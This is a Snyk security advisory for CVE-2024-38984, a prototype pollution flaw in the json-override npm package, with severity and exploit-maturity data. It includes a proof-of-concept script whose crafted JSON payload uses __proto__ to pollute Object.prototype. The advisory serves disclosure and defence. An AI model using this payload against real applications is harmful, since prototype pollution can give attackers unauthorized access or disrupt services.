Improper Control of Dynamically-Managed Code Resources Affecting json-override package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.11% (45th percentile)

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  • Snyk IDSNYK-JS-JSONOVERRIDE-7575312
  • published31 Jul 2024
  • disclosed30 Jul 2024
  • creditmestrtee

Introduced: 30 Jul 2024

CVE-2024-38984  (opens in a new tab)
CWE-915  (opens in a new tab)

How to fix?

There is no fixed version for json-override.

Overview

json-override is an Override properties of one JS object with those of another.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources through the __proto__ property. An attacker can manipulate the object prototype, leading to potential unauthorized access or service disruption by modifying object properties.

PoC

(async () => {
  const lib = await import('json-override');

var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  lib.default ({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

CVSS Scores

version 4.0
version 3.1